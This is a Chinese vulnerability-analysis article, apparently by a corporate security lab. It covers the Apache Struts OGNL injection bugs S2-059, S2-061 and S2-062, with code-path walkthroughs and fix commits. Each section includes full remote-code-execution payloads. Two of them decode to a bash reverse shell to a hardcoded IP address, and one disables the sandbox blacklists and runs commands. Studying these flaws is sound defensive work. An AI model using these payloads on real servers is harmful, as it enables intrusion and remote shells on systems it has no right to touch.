S2-062漏洞原理分析

百家 作者:平安安全应急响应中心 2022-07-27 21:20:26
S2-062漏洞形成的原因是struts在处理标签的name属性时,将用户输入当作表达式进行二次解释,导致OGNL表达式注入。
 
和S2-061/S2-059类似,不过S2-061和S2-059是ID属性导致的,S2-061是对S2-059修复黑名单的绕过。
 
下面我们先回顾一下前两个漏洞:

>>>> S2-059


影响版本:Struts 2.0.0 - Struts 2.5.20
 
漏洞原理:
 
漏洞代码样例:<s:a id="%{id}">SimpleTest</s:a>
 
输入为id=%{8*8},标签解析由org.apache.struts2.views.jsp.ComponentTagSupport#doStartTag()方法开始;第一次OGNL解析在populateParams()方法中,第二次在start()方法中。
 

省略部分调用栈,populateParams()方法经过多层调用进入AbstractUITag#populateParams()方法中,其调用uiBean.setId(this.id)。
 

该方法继续调用了findString(id),并且将返回值赋给了this.id。
  

省略部分调用栈,findString()最终调用了OgnlTextParser#evaluate()方法,其去掉%{},var=id,并调用evaluator.evaluate()去解析。
 

evaluator.evaluate(var)解析返回了id的值%{8*8},最终这个值被返回给上层调用,赋给了this.id。
 

再看下第二次OGNL解析,start()方法调用了evaluateParams()。
 

UIBean#evaluateParams()继续调用其populateComponentHtmlId()。
 

UIBean#populateComponentHtmlId()调用this.findStringIfAltSyntax()方法。
 

AltSyntax设置是默认开启的,所以在Component#findStringIfAltSyntax()会继续调用this.findString(expr);expr=%{8*8}。
 

同样findString()最终会进入OgnlTextParser#evaluate()方法中,evaluator.evaluate(8*8)得到了64。


Payload:包含两部分,其构造原理,可参考S2-059/S2-061 Payload分析。(https://zhuanlan.zhihu.com/p/351720183
payload1=%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}
payload2=%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyMy4zNy82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}'))}

修复:
 
1. 限制了访问静态方法(https://github.com/apache/struts/commit/9466b615abbe4bccc5cf76ad54112128ce011e9d),在SecurityMemberAccess#isAccessible()中实现:
 

2. 黑名单新增了更多的类,版本2.5.17,2.5.18,2.5.20,2.5.22中都有增加,2.5.22版本最终有如下这些:
 


>>>> S2-061


影响版本:Struts 2.0.0 - Struts 2.5.25
 
漏洞原理:同S2-059,主要是利用org.apache.tomcat.InstanceManager不在黑名单中从而进行绕过。
 
Payload:其构造原理,同样参考S2-059/S2-061 Payload分析(https://zhuanlan.zhihu.com/p/351720183)。
payload=%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("whoami")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}

修复:
 
1. 我们看到在evaluateParams()中对name和id属性做了调整,其中ID不再调用findString()解析,而name属性修复仍然存在问题,且看S2-062的分析;https://github.com/apache/struts/commit/0a75d8e8fa3e75d538fb0fcbc75473bdbff9209e


2. 黑名单变化:
https://github.com/apache/struts/commit/8d3393f09a06ff4a2b6827b6544524d1d6af3c7c


在S2-061的修复中同时对name属性也做了校验,文章Exploiting Struts RCE on 2.5.26(https://mc0wn.blogspot.com/2021/04/exploiting-struts-rce-on-2526.html)提出其校验存在问题。



>>>> S2-062


影响版本:Struts 2.0.0 - Struts 2.5.29
 
漏洞原理:
 
漏洞代码样例:<s:label id="test" name="%{payload}" />
 
输入为payload=8*8时,completeExpressionIfAltSyntax(name)返回的是%{8*8},赋值给expr;
 
recursion(name)返回为false,从而进入else分支,仍然调用了findValue(expr);
  

 


Payload:关于其构造原理,参考Exploiting Struts RCE on 2.5.26》(https://mc0wn.blogspot.com/2021/04/exploiting-struts-rce-on-2526.html)
payload=(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyMy4zNy82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}'}))

发现该漏洞的研究员又再次发现Struts中存在二次OGNL注入,这次是在.ftl FreeMarker文件中,详见2nd RCE and XSS in Apache Struts before 2.5.30(https://mc0wn.blogspot.com/2022/05/2nd-rce-and-xss-in-apache-struts-before-2530.html)。
 
修复:
https://github.com/apache/struts/commit/8d6e26e0feb8cb1669f45a66e458860534b94571
 


银河实验室

银河实验室(GalaxyLab)是平安集团信息安全部下一个相对独立的安全实验室,主要从事安全技术研究和安全测试工作。团队内现在覆盖逆向、物联网、Web、Android、iOS、云平台区块链安全等多个安全方向。
官网:http://galaxylab.pingan.com.cn/



往期回顾


技术

技术解析 | JWT弱点的利用方式

技术

EBPF恶意利用及防御

技术

C# 逆向入门

技术

CodeQL进阶知识(Java)



点赞、分享,感谢你的阅读▼ 


▼ 点击阅读原文,进入官网

关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接